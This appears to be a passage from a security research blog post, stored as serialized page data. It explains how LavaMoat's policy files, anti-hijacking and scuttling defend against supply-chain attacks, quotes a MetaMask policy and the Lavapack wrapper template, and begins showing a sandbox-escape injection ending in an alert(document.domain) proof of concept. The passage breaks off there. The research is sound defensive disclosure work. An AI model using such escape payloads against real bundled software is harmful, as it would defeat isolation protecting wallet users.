",{"type":23,"tag":458,"props":47051,"children":47054},{"href":47052,"rel":47053},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[462],[47055],{"type":28,"value":47056},"increasingly popular in Web3",{"type":28,"value":47058},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":23,"tag":24,"props":47060,"children":47061},{},[47062],{"type":28,"value":47063},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":23,"tag":546,"props":47065,"children":47066},{"id":29014},[47067],{"type":28,"value":29017},{"type":23,"tag":24,"props":47069,"children":47070},{},[47071],{"type":28,"value":47072},"It is important to note that there are three different versions of LavaMoat:",{"type":23,"tag":5436,"props":47074,"children":47075},{},[47076,47088,47100],{"type":23,"tag":421,"props":47077,"children":47078},{},[47079,47086],{"type":23,"tag":458,"props":47080,"children":47083},{"href":47081,"rel":47082},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[462],[47084],{"type":28,"value":47085},"Lavamoat Browserify",{"type":28,"value":47087}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":23,"tag":421,"props":47089,"children":47090},{},[47091,47098],{"type":23,"tag":458,"props":47092,"children":47095},{"href":47093,"rel":47094},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[462],[47096],{"type":28,"value":47097},"NodeJS Lavamoat",{"type":28,"value":47099}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":23,"tag":421,"props":47101,"children":47102},{},[47103,47110],{"type":23,"tag":458,"props":47104,"children":47107},{"href":47105,"rel":47106},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[462],[47108],{"type":28,"value":47109},"Lavamoat allow-scripts",{"type":28,"value":47111}," are used to prevent malicious code execution on lifecycle scripts.",{"type":23,"tag":546,"props":47113,"children":47115},{"id":47114},"lavamoats-security-features",[47116],{"type":28,"value":47117},"Lavamoat's Security Features",{"type":23,"tag":24,"props":47119,"children":47120},{},[47121,47123,47131],{"type":28,"value":47122},"The three most important features of Lavamoat",{"type":23,"tag":15465,"props":47124,"children":47125},{},[47126],{"type":23,"tag":458,"props":47127,"children":47129},{"href":29620,"ariaDescribedBy":47128,"dataFootnoteRef":7,"id":29622},[15472],[47130],{"type":28,"value":317},{"type":28,"value":47132}," are:",{"type":23,"tag":417,"props":47134,"children":47135},{},[47136,47141,47146],{"type":23,"tag":421,"props":47137,"children":47138},{},[47139],{"type":28,"value":47140},"Policy Files",{"type":23,"tag":421,"props":47142,"children":47143},{},[47144],{"type":28,"value":47145},"NPM Anti Hijacking",{"type":23,"tag":421,"props":47147,"children":47148},{},[47149],{"type":28,"value":47150},"Scuttling",{"type":23,"tag":24,"props":47152,"children":47153},{},[47154],{"type":28,"value":47155},"Let's go over them one by one.",{"type":23,"tag":18881,"props":47157,"children":47159},{"id":47158},"policy-files",[47160],{"type":28,"value":47140},{"type":23,"tag":24,"props":47162,"children":47163},{},[47164],{"type":28,"value":47165},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":23,"tag":24,"props":47167,"children":47168},{},[47169,47171,47178],{"type":28,"value":47170},"For example, take the ",{"type":23,"tag":458,"props":47172,"children":47175},{"href":47173,"rel":47174},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[462],[47176],{"type":28,"value":47177},"Metamask Snap policy file",{"type":28,"value":1474},{"type":23,"tag":31,"props":47180,"children":47182},{"className":31357,"code":47181,"language":31359,"meta":7,"style":7},"   \"@metamask/providers\": {\n      \"globals\": {\n        \"Event\": true,\n        \"addEventListener\": true,\n        \"chrome.runtime.connect\": true,\n        \"console\": true,\n        \"dispatchEvent\": true,\n        \"document.createElement\": true,\n        \"document.readyState\": true,\n        \"ethereum\": \"write\",\n        \"location.hostname\": true,\n        \"removeEventListener\": true,\n        \"web3\": true\n      },\n      \"packages\": {\n        \"@metamask/object-multiplex\": true,\n        \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[47183],{"type":23,"tag":37,"props":47184,"children":47185},{"__ignoreMap":7},[47186,47198,47213,47233,47252,47272,47292,47312,47332,47352,47373,47393,47412,47428,47435,47450,47470],{"type":23,"tag":41,"props":47187,"children":47188},{"class":43,"line":44},[47189,47194],{"type":23,"tag":41,"props":47190,"children":47191},{"style":735},[47192],{"type":28,"value":47193},"   \"@metamask/providers\"",{"type":23,"tag":41,"props":47195,"children":47196},{"style":70},[47197],{"type":28,"value":37017},{"type":23,"tag":41,"props":47199,"children":47200},{"class":43,"line":54},[47201,47205,47209],{"type":23,"tag":41,"props":47202,"children":47203},{"style":735},[47204],{"type":28,"value":37025},{"type":23,"tag":41,"props":47206,"children":47207},{"style":858},[47208],{"type":28,"value":1474},{"type":23,"tag":41,"props":47210,"children":47211},{"style":70},[47212],{"type":28,"value":102},{"type":23,"tag":41,"props":47214,"children":47215},{"class":43,"line":76},[47216,47221,47225,47229],{"type":23,"tag":41,"props":47217,"children":47218},{"style":735},[47219],{"type":28,"value":47220},"        \"Event\"",{"type":23,"tag":41,"props":47222,"children":47223},{"style":858},[47224],{"type":28,"value":1474},{"type":23,"tag":41,"props":47226,"children":47227},{"style":64},[47228],{"type":28,"value":915},{"type":23,"tag":41,"props":47230,"children":47231},{"style":70},[47232],{"type":28,"value":3506},{"type":23,"tag":41,"props":47234,"children":47235},{"class":43,"line":85},[47236,47240,47244,47248],{"type":23,"tag":41,"props":47237,"children":47238},{"style":735},[47239],{"type":28,"value":37077},{"type":23,"tag":41,"props":47241,"children":47242},{"style":858},[47243],{"type":28,"value":1474},{"type":23,"tag":41,"props":47245,"children":47246},{"style":64},[47247],{"type":28,"value":915},{"type":23,"tag":41,"props":47249,"children":47250},{"style":70},[47251],{"type":28,"value":3506},{"type":23,"tag":41,"props":47253,"children":47254},{"class":43,"line":105},[47255,47260,47264,47268],{"type":23,"tag":41,"props":47256,"children":47257},{"style":735},[47258],{"type":28,"value":47259},"        \"chrome.runtime.connect\"",{"type":23,"tag":41,"props":47261,"children":47262},{"style":858},[47263],{"type":28,"value":1474},{"type":23,"tag":41,"props":47265,"children":47266},{"style":64},[47267],{"type":28,"value":915},{"type":23,"tag":41,"props":47269,"children":47270},{"style":70},[47271],{"type":28,"value":3506},{"type":23,"tag":41,"props":47273,"children":47274},{"class":43,"line":155},[47275,47280,47284,47288],{"type":23,"tag":41,"props":47276,"children":47277},{"style":735},[47278],{"type":28,"value":47279},"        \"console\"",{"type":23,"tag":41,"props":47281,"children":47282},{"style":858},[47283],{"type":28,"value":1474},{"type":23,"tag":41,"props":47285,"children":47286},{"style":64},[47287],{"type":28,"value":915},{"type":23,"tag":41,"props":47289,"children":47290},{"style":70},[47291],{"type":28,"value":3506},{"type":23,"tag":41,"props":47293,"children":47294},{"class":43,"line":186},[47295,47300,47304,47308],{"type":23,"tag":41,"props":47296,"children":47297},{"style":735},[47298],{"type":28,"value":47299},"        \"dispatchEvent\"",{"type":23,"tag":41,"props":47301,"children":47302},{"style":858},[47303],{"type":28,"value":1474},{"type":23,"tag":41,"props":47305,"children":47306},{"style":64},[47307],{"type":28,"value":915},{"type":23,"tag":41,"props":47309,"children":47310},{"style":70},[47311],{"type":28,"value":3506},{"type":23,"tag":41,"props":47313,"children":47314},{"class":43,"line":195},[47315,47320,47324,47328],{"type":23,"tag":41,"props":47316,"children":47317},{"style":735},[47318],{"type":28,"value":47319},"        \"document.createElement\"",{"type":23,"tag":41,"props":47321,"children":47322},{"style":858},[47323],{"type":28,"value":1474},{"type":23,"tag":41,"props":47325,"children":47326},{"style":64},[47327],{"type":28,"value":915},{"type":23,"tag":41,"props":47329,"children":47330},{"style":70},[47331],{"type":28,"value":3506},{"type":23,"tag":41,"props":47333,"children":47334},{"class":43,"line":905},[47335,47340,47344,47348],{"type":23,"tag":41,"props":47336,"children":47337},{"style":735},[47338],{"type":28,"value":47339},"        \"document.readyState\"",{"type":23,"tag":41,"props":47341,"children":47342},{"style":858},[47343],{"type":28,"value":1474},{"type":23,"tag":41,"props":47345,"children":47346},{"style":64},[47347],{"type":28,"value":915},{"type":23,"tag":41,"props":47349,"children":47350},{"style":70},[47351],{"type":28,"value":3506},{"type":23,"tag":41,"props":47353,"children":47354},{"class":43,"line":922},[47355,47360,47364,47369],{"type":23,"tag":41,"props":47356,"children":47357},{"style":735},[47358],{"type":28,"value":47359},"        \"ethereum\"",{"type":23,"tag":41,"props":47361,"children":47362},{"style":858},[47363],{"type":28,"value":1474},{"type":23,"tag":41,"props":47365,"children":47366},{"style":735},[47367],{"type":28,"value":47368}," \"write\"",{"type":23,"tag":41,"props":47370,"children":47371},{"style":70},[47372],{"type":28,"value":3506},{"type":23,"tag":41,"props":47374,"children":47375},{"class":43,"line":930},[47376,47381,47385,47389],{"type":23,"tag":41,"props":47377,"children":47378},{"style":735},[47379],{"type":28,"value":47380},"        \"location.hostname\"",{"type":23,"tag":41,"props":47382,"children":47383},{"style":858},[47384],{"type":28,"value":1474},{"type":23,"tag":41,"props":47386,"children":47387},{"style":64},[47388],{"type":28,"value":915},{"type":23,"tag":41,"props":47390,"children":47391},{"style":70},[47392],{"type":28,"value":3506},{"type":23,"tag":41,"props":47394,"children":47395},{"class":43,"line":939},[47396,47400,47404,47408],{"type":23,"tag":41,"props":47397,"children":47398},{"style":735},[47399],{"type":28,"value":37177},{"type":23,"tag":41,"props":47401,"children":47402},{"style":858},[47403],{"type":28,"value":1474},{"type":23,"tag":41,"props":47405,"children":47406},{"style":64},[47407],{"type":28,"value":915},{"type":23,"tag":41,"props":47409,"children":47410},{"style":70},[47411],{"type":28,"value":3506},{"type":23,"tag":41,"props":47413,"children":47414},{"class":43,"line":947},[47415,47420,47424],{"type":23,"tag":41,"props":47416,"children":47417},{"style":735},[47418],{"type":28,"value":47419},"        \"web3\"",{"type":23,"tag":41,"props":47421,"children":47422},{"style":858},[47423],{"type":28,"value":1474},{"type":23,"tag":41,"props":47425,"children":47426},{"style":64},[47427],{"type":28,"value":46542},{"type":23,"tag":41,"props":47429,"children":47430},{"class":43,"line":985},[47431],{"type":23,"tag":41,"props":47432,"children":47433},{"style":70},[47434],{"type":28,"value":37194},{"type":23,"tag":41,"props":47436,"children":47437},{"class":43,"line":1058},[47438,47442,47446],{"type":23,"tag":41,"props":47439,"children":47440},{"style":735},[47441],{"type":28,"value":37202},{"type":23,"tag":41,"props":47443,"children":47444},{"style":858},[47445],{"type":28,"value":1474},{"type":23,"tag":41,"props":47447,"children":47448},{"style":70},[47449],{"type":28,"value":102},{"type":23,"tag":41,"props":47451,"children":47452},{"class":43,"line":1084},[47453,47458,47462,47466],{"type":23,"tag":41,"props":47454,"children":47455},{"style":735},[47456],{"type":28,"value":47457},"        \"@metamask/object-multiplex\"",{"type":23,"tag":41,"props":47459,"children":47460},{"style":858},[47461],{"type":28,"value":1474},{"type":23,"tag":41,"props":47463,"children":47464},{"style":64},[47465],{"type":28,"value":915},{"type":23,"tag":41,"props":47467,"children":47468},{"style":70},[47469],{"type":28,"value":3506},{"type":23,"tag":41,"props":47471,"children":47472},{"class":43,"line":1102},[47473,47478,47482],{"type":23,"tag":41,"props":47474,"children":47475},{"style":735},[47476],{"type":28,"value":47477},"        \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":23,"tag":41,"props":47479,"children":47480},{"style":858},[47481],{"type":28,"value":1474},{"type":23,"tag":41,"props":47483,"children":47484},{"style":64},[47485],{"type":28,"value":46542},{"type":23,"tag":24,"props":47487,"children":47488},{},[47489,47490,47495,47497,47502,47504,47510],{"type":28,"value":16601},{"type":23,"tag":37,"props":47491,"children":47493},{"className":47492},[],[47494],{"type":28,"value":37267},{"type":28,"value":47496}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":23,"tag":37,"props":47498,"children":47500},{"className":47499},[],[47501],{"type":28,"value":37275},{"type":28,"value":47503}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":23,"tag":37,"props":47505,"children":47507},{"className":47506},[],[47508],{"type":28,"value":47509},"@metamask/providers",{"type":28,"value":47511}," interacts with other packages.",{"type":23,"tag":24,"props":47513,"children":47514},{},[47515,47517,47523],{"type":28,"value":47516},"To enforce these policies, LavaMoat uses ",{"type":23,"tag":37,"props":47518,"children":47520},{"className":47519},[],[47521],{"type":28,"value":47522},"lavapack",{"type":28,"value":47524},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":23,"tag":18881,"props":47526,"children":47528},{"id":47527},"npm-anti-hijacking",[47529],{"type":28,"value":47145},{"type":23,"tag":24,"props":47531,"children":47532},{},[47533],{"type":28,"value":47534},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":23,"tag":24,"props":47536,"children":47537},{},[47538,47540,47547],{"type":28,"value":47539},"Instead, Lavamoat looks at how each package is connected by ",{"type":23,"tag":458,"props":47541,"children":47544},{"href":47542,"rel":47543},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[462],[47545],{"type":28,"value":47546},"walking the modules",{"type":28,"value":47548}," in a project's dependency tree, thus generating a unique name for each package.",{"type":23,"tag":18881,"props":47550,"children":47552},{"id":47551},"scuttling",[47553],{"type":28,"value":47150},{"type":23,"tag":24,"props":47555,"children":47556},{},[47557,47559,47565],{"type":28,"value":47558},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":23,"tag":37,"props":47560,"children":47562},{"className":47561},[],[47563],{"type":28,"value":47564},"GlobalThis",{"type":28,"value":47566}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":23,"tag":24,"props":47568,"children":47569},{},[47570,47572,47579],{"type":28,"value":47571},"For example, ",{"type":23,"tag":458,"props":47573,"children":47576},{"href":47574,"rel":47575},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[462],[47577],{"type":28,"value":47578},"here",{"type":28,"value":47580}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":23,"tag":31,"props":47582,"children":47584},{"className":31357,"code":47583,"language":31359,"meta":7,"style":7},"    if (scuttleOpts.enabled) {\n      if (!Array.isArray(scuttleOpts.exceptions)) {\n        throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n      }\n      scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n    }\n",[47585],{"type":23,"tag":37,"props":47586,"children":47587},{"__ignoreMap":7},[47588,47617,47667,47726,47733,47805],{"type":23,"tag":41,"props":47589,"children":47590},{"class":43,"line":44},[47591,47595,47599,47604,47608,47613],{"type":23,"tag":41,"props":47592,"children":47593},{"style":58},[47594],{"type":28,"value":2440},{"type":23,"tag":41,"props":47596,"children":47597},{"style":70},[47598],{"type":28,"value":142},{"type":23,"tag":41,"props":47600,"children":47601},{"style":858},[47602],{"type":28,"value":47603},"scuttleOpts",{"type":23,"tag":41,"props":47605,"children":47606},{"style":70},[47607],{"type":28,"value":706},{"type":23,"tag":41,"props":47609,"children":47610},{"style":858},[47611],{"type":28,"value":47612},"enabled",{"type":23,"tag":41,"props":47614,"children":47615},{"style":70},[47616],{"type":28,"value":152},{"type":23,"tag":41,"props":47618,"children":47619},{"class":43,"line":54},[47620,47624,47628,47632,47637,47641,47646,47650,47654,47658,47663],{"type":23,"tag":41,"props":47621,"children":47622},{"style":58},[47623],{"type":28,"value":39279},{"type":23,"tag":41,"props":47625,"children":47626},{"style":70},[47627],{"type":28,"value":142},{"type":23,"tag":41,"props":47629,"children":47630},{"style":170},[47631],{"type":28,"value":2630},{"type":23,"tag":41,"props":47633,"children":47634},{"style":858},[47635],{"type":28,"value":47636},"Array",{"type":23,"tag":41,"props":47638,"children":47639},{"style":70},[47640],{"type":28,"value":706},{"type":23,"tag":41,"props":47642,"children":47643},{"style":114},[47644],{"type":28,"value":47645},"isArray",{"type":23,"tag":41,"props":47647,"children":47648},{"style":70},[47649],{"type":28,"value":1737},{"type":23,"tag":41,"props":47651,"children":47652},{"style":858},[47653],{"type":28,"value":47603},{"type":23,"tag":41,"props":47655,"children":47656},{"style":70},[47657],{"type":28,"value":706},{"type":23,"tag":41,"props":47659,"children":47660},{"style":858},[47661],{"type":28,"value":47662},"exceptions",{"type":23,"tag":41,"props":47664,"children":47665},{"style":70},[47666],{"type":28,"value":35188},{"type":23,"tag":41,"props":47668,"children":47669},{"class":43,"line":76},[47670,47675,47679,47683,47687,47692,47696,47700,47705,47709,47713,47717,47722],{"type":23,"tag":41,"props":47671,"children":47672},{"style":58},[47673],{"type":28,"value":47674},"        throw",{"type":23,"tag":41,"props":47676,"children":47677},{"style":64},[47678],{"type":28,"value":31927},{"type":23,"tag":41,"props":47680,"children":47681},{"style":114},[47682],{"type":28,"value":40275},{"type":23,"tag":41,"props":47684,"children":47685},{"style":70},[47686],{"type":28,"value":1737},{"type":23,"tag":41,"props":47688,"children":47689},{"style":735},[47690],{"type":28,"value":47691},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":23,"tag":41,"props":47693,"children":47694},{"style":64},[47695],{"type":28,"value":34102},{"type":23,"tag":41,"props":47697,"children":47698},{"style":64},[47699],{"type":28,"value":31397},{"type":23,"tag":41,"props":47701,"children":47702},{"style":858},[47703],{"type":28,"value":47704}," scuttleOpts",{"type":23,"tag":41,"props":47706,"children":47707},{"style":170},[47708],{"type":28,"value":706},{"type":23,"tag":41,"props":47710,"children":47711},{"style":858},[47712],{"type":28,"value":47662},{"type":23,"tag":41,"props":47714,"children":47715},{"style":64},[47716],{"type":28,"value":34134},{"type":23,"tag":41,"props":47718,"children":47719},{"style":735},[47720],{"type":28,"value":47721},"\"`",{"type":23,"tag":41,"props":47723,"children":47724},{"style":70},[47725],{"type":28,"value":1969},{"type":23,"tag":41,"props":47727,"children":47728},{"class":43,"line":85},[47729],{"type":23,"tag":41,"props":47730,"children":47731},{"style":70},[47732],{"type":28,"value":12659},{"type":23,"tag":41,"props":47734,"children":47735},{"class":43,"line":105},[47736,47741,47745,47750,47754,47759,47763,47768,47772,47777,47781,47785,47789,47793,47797,47801],{"type":23,"tag":41,"props":47737,"children":47738},{"style":858},[47739],{"type":28,"value":47740},"      scuttleOpts",{"type":23,"tag":41,"props":47742,"children":47743},{"style":70},[47744],{"type":28,"value":706},{"type":23,"tag":41,"props":47746,"children":47747},{"style":114},[47748],{"type":28,"value":47749},"scuttlerFunc",{"type":23,"tag":41,"props":47751,"children":47752},{"style":70},[47753],{"type":28,"value":1737},{"type":23,"tag":41,"props":47755,"children":47756},{"style":858},[47757],{"type":28,"value":47758},"globalRef",{"type":23,"tag":41,"props":47760,"children":47761},{"style":70},[47762],{"type":28,"value":970},{"type":23,"tag":41,"props":47764,"children":47765},{"style":858},[47766],{"type":28,"value":47767},"realm",{"type":23,"tag":41,"props":47769,"children":47770},{"style":64},[47771],{"type":28,"value":27752},{"type":23,"tag":41,"props":47773,"children":47774},{"style":114},[47775],{"type":28,"value":47776}," performScuttleGlobalThis",{"type":23,"tag":41,"props":47778,"children":47779},{"style":70},[47780],{"type":28,"value":1737},{"type":23,"tag":41,"props":47782,"children":47783},{"style":858},[47784],{"type":28,"value":47767},{"type":23,"tag":41,"props":47786,"children":47787},{"style":70},[47788],{"type":28,"value":970},{"type":23,"tag":41,"props":47790,"children":47791},{"style":858},[47792],{"type":28,"value":47603},{"type":23,"tag":41,"props":47794,"children":47795},{"style":70},[47796],{"type":28,"value":706},{"type":23,"tag":41,"props":47798,"children":47799},{"style":858},[47800],{"type":28,"value":47662},{"type":23,"tag":41,"props":47802,"children":47803},{"style":70},[47804],{"type":28,"value":19700},{"type":23,"tag":41,"props":47806,"children":47807},{"class":43,"line":155},[47808],{"type":23,"tag":41,"props":47809,"children":47810},{"style":70},[47811],{"type":28,"value":192},{"type":23,"tag":24,"props":47813,"children":47814},{},[47815,47817,47823,47825,47831],{"type":28,"value":47816},"Subsequently, the code defines a ",{"type":23,"tag":458,"props":47818,"children":47821},{"href":47819,"rel":47820},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[462],[47822],{"type":28,"value":31371},{"type":28,"value":47824}," called ",{"type":23,"tag":37,"props":47826,"children":47828},{"className":47827},[],[47829],{"type":28,"value":47830},"generateScuttleOpts",{"type":28,"value":47832}," that creates and returns an options object.",{"type":23,"tag":24,"props":47834,"children":47835},{},[47836,47838,47844,47845,47851,47853,47858,47860,47866],{"type":28,"value":47837},"Finally, the ",{"type":23,"tag":37,"props":47839,"children":47841},{"className":47840},[],[47842],{"type":28,"value":47843},"performScuttleGlobalThis",{"type":28,"value":6456},{"type":23,"tag":458,"props":47846,"children":47849},{"href":47847,"rel":47848},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[462],[47850],{"type":28,"value":31371},{"type":28,"value":47852}," modifies the properties of the global object (",{"type":23,"tag":37,"props":47854,"children":47856},{"className":47855},[],[47857],{"type":28,"value":47758},{"type":28,"value":47859},"). It starts by creating an array ",{"type":23,"tag":37,"props":47861,"children":47863},{"className":47862},[],[47864],{"type":28,"value":47865},"props",{"type":28,"value":47867},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":23,"tag":446,"props":47869,"children":47871},{"id":47870},"hacking-webpacks",[47872],{"type":28,"value":47873},"Hacking Webpacks",{"type":23,"tag":24,"props":47875,"children":47876},{},[47877],{"type":28,"value":47878},"Now let's get to the fun stuff.",{"type":23,"tag":24,"props":47880,"children":47881},{},[47882],{"type":28,"value":47883},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":23,"tag":31,"props":47885,"children":47887},{"className":31357,"code":47886,"language":31359,"meta":7,"style":7},"  const filename = encodeURI(String(moduleData.file))\n  let moduleWrapperSource\n  if (bundleWithPrecompiledModules) {\n    moduleWrapperSource = `function(){\n      with (this.scopeTerminator) {\n        with (this.globalThis) {\n          return function() {\n            'use strict';\n            // source: ${filename}\n            return function (require, module, exports) {\n              __MODULE_CONTENT__\n            };\n          };\n        }\n      }\n    }`\n",[47888],{"type":23,"tag":37,"props":47889,"children":47890},{"__ignoreMap":7},[47891,47943,47955,47975,47992,48000,48008,48016,48024,48045,48053,48061,48069,48076,48083,48090],{"type":23,"tag":41,"props":47892,"children":47893},{"class":43,"line":44},[47894,47898,47903,47907,47912,47916,47921,47925,47930,47934,47939],{"type":23,"tag":41,"props":47895,"children":47896},{"style":64},[47897],{"type":28,"value":36183},{"type":23,"tag":41,"props":47899,"children":47900},{"style":858},[47901],{"type":28,"value":47902}," filename",{"type":23,"tag":41,"props":47904,"children":47905},{"style":170},[47906],{"type":28,"value":3017},{"type":23,"tag":41,"props":47908,"children":47909},{"style":114},[47910],{"type":28,"value":47911}," encodeURI",{"type":23,"tag":41,"props":47913,"children":47914},{"style":70},[47915],{"type":28,"value":1737},{"type":23,"tag":41,"props":47917,"children":47918},{"style":114},[47919],{"type":28,"value":47920},"String",{"type":23,"tag":41,"props":47922,"children":47923},{"style":70},[47924],{"type":28,"value":1737},{"type":23,"tag":41,"props":47926,"children":47927},{"style":858},[47928],{"type":28,"value":47929},"moduleData",{"type":23,"tag":41,"props":47931,"children":47932},{"style":70},[47933],{"type":28,"value":706},{"type":23,"tag":41,"props":47935,"children":47936},{"style":858},[47937],{"type":28,"value":47938},"file",{"type":23,"tag":41,"props":47940,"children":47941},{"style":70},[47942],{"type":28,"value":19700},{"type":23,"tag":41,"props":47944,"children":47945},{"class":43,"line":54},[47946,47950],{"type":23,"tag":41,"props":47947,"children":47948},{"style":64},[47949],{"type":28,"value":7855},{"type":23,"tag":41,"props":47951,"children":47952},{"style":858},[47953],{"type":28,"value":47954}," moduleWrapperSource\n",{"type":23,"tag":41,"props":47956,"children":47957},{"class":43,"line":76},[47958,47962,47966,47971],{"type":23,"tag":41,"props":47959,"children":47960},{"style":58},[47961],{"type":28,"value":31388},{"type":23,"tag":41,"props":47963,"children":47964},{"style":70},[47965],{"type":28,"value":142},{"type":23,"tag":41,"props":47967,"children":47968},{"style":858},[47969],{"type":28,"value":47970},"bundleWithPrecompiledModules",{"type":23,"tag":41,"props":47972,"children":47973},{"style":70},[47974],{"type":28,"value":152},{"type":23,"tag":41,"props":47976,"children":47977},{"class":43,"line":85},[47978,47983,47987],{"type":23,"tag":41,"props":47979,"children":47980},{"style":858},[47981],{"type":28,"value":47982},"    moduleWrapperSource",{"type":23,"tag":41,"props":47984,"children":47985},{"style":170},[47986],{"type":28,"value":3017},{"type":23,"tag":41,"props":47988,"children":47989},{"style":735},[47990],{"type":28,"value":47991}," `function(){\n",{"type":23,"tag":41,"props":47993,"children":47994},{"class":43,"line":105},[47995],{"type":23,"tag":41,"props":47996,"children":47997},{"style":735},[47998],{"type":28,"value":47999},"      with (this.scopeTerminator) {\n",{"type":23,"tag":41,"props":48001,"children":48002},{"class":43,"line":155},[48003],{"type":23,"tag":41,"props":48004,"children":48005},{"style":735},[48006],{"type":28,"value":48007},"        with (this.globalThis) {\n",{"type":23,"tag":41,"props":48009,"children":48010},{"class":43,"line":186},[48011],{"type":23,"tag":41,"props":48012,"children":48013},{"style":735},[48014],{"type":28,"value":48015},"          return function() {\n",{"type":23,"tag":41,"props":48017,"children":48018},{"class":43,"line":195},[48019],{"type":23,"tag":41,"props":48020,"children":48021},{"style":735},[48022],{"type":28,"value":48023},"            'use strict';\n",{"type":23,"tag":41,"props":48025,"children":48026},{"class":43,"line":905},[48027,48032,48036,48041],{"type":23,"tag":41,"props":48028,"children":48029},{"style":735},[48030],{"type":28,"value":48031},"            // source: ",{"type":23,"tag":41,"props":48033,"children":48034},{"style":64},[48035],{"type":28,"value":34102},{"type":23,"tag":41,"props":48037,"children":48038},{"style":858},[48039],{"type":28,"value":48040},"filename",{"type":23,"tag":41,"props":48042,"children":48043},{"style":64},[48044],{"type":28,"value":201},{"type":23,"tag":41,"props":48046,"children":48047},{"class":43,"line":922},[48048],{"type":23,"tag":41,"props":48049,"children":48050},{"style":735},[48051],{"type":28,"value":48052},"            return function (require, module, exports) {\n",{"type":23,"tag":41,"props":48054,"children":48055},{"class":43,"line":930},[48056],{"type":23,"tag":41,"props":48057,"children":48058},{"style":735},[48059],{"type":28,"value":48060},"              __MODULE_CONTENT__\n",{"type":23,"tag":41,"props":48062,"children":48063},{"class":43,"line":939},[48064],{"type":23,"tag":41,"props":48065,"children":48066},{"style":735},[48067],{"type":28,"value":48068},"            };\n",{"type":23,"tag":41,"props":48070,"children":48071},{"class":43,"line":947},[48072],{"type":23,"tag":41,"props":48073,"children":48074},{"style":735},[48075],{"type":28,"value":8700},{"type":23,"tag":41,"props":48077,"children":48078},{"class":43,"line":985},[48079],{"type":23,"tag":41,"props":48080,"children":48081},{"style":735},[48082],{"type":28,"value":3347},{"type":23,"tag":41,"props":48084,"children":48085},{"class":43,"line":1058},[48086],{"type":23,"tag":41,"props":48087,"children":48088},{"style":735},[48089],{"type":28,"value":12659},{"type":23,"tag":41,"props":48091,"children":48092},{"class":43,"line":1084},[48093],{"type":23,"tag":41,"props":48094,"children":48095},{"style":735},[48096],{"type":28,"value":48097},"    }`\n",{"type":23,"tag":24,"props":48099,"children":48100},{},[48101,48103,48109,48111,48117],{"type":28,"value":48102},"Lavapack uses ",{"type":23,"tag":37,"props":48104,"children":48106},{"className":48105},[],[48107],{"type":28,"value":48108},"with()",{"type":28,"value":48110}," proxies to restrict the objects accessible by the module, and ",{"type":23,"tag":37,"props":48112,"children":48114},{"className":48113},[],[48115],{"type":28,"value":48116},"__MODULE_CONTENT__",{"type":28,"value":48118}," is replaced by the content of a file required by the project being built.",{"type":23,"tag":546,"props":48120,"children":48122},{"id":48121},"injection-not-so-simple",[48123],{"type":28,"value":48124},"Injection? Not So Simple",{"type":23,"tag":24,"props":48126,"children":48127},{},[48128,48130,48135],{"type":28,"value":48129},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":23,"tag":37,"props":48131,"children":48133},{"className":48132},[],[48134],{"type":28,"value":12646},{"type":28,"value":48136}," environment:",{"type":23,"tag":31,"props":48138,"children":48140},{"className":31357,"code":48139,"language":31359,"meta":7,"style":7},"   } // end function 1\n  } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[48141],{"type":23,"tag":37,"props":48142,"children":48143},{"__ignoreMap":7},[48144,48157,48169,48181,48193,48200],{"type":23,"tag":41,"props":48145,"children":48146},{"class":43,"line":44},[48147,48152],{"type":23,"tag":41,"props":48148,"children":48149},{"style":70},[48150],{"type":28,"value":48151},"   } ",{"type":23,"tag":41,"props":48153,"children":48154},{"style":48},[48155],{"type":28,"value":48156},"// end function 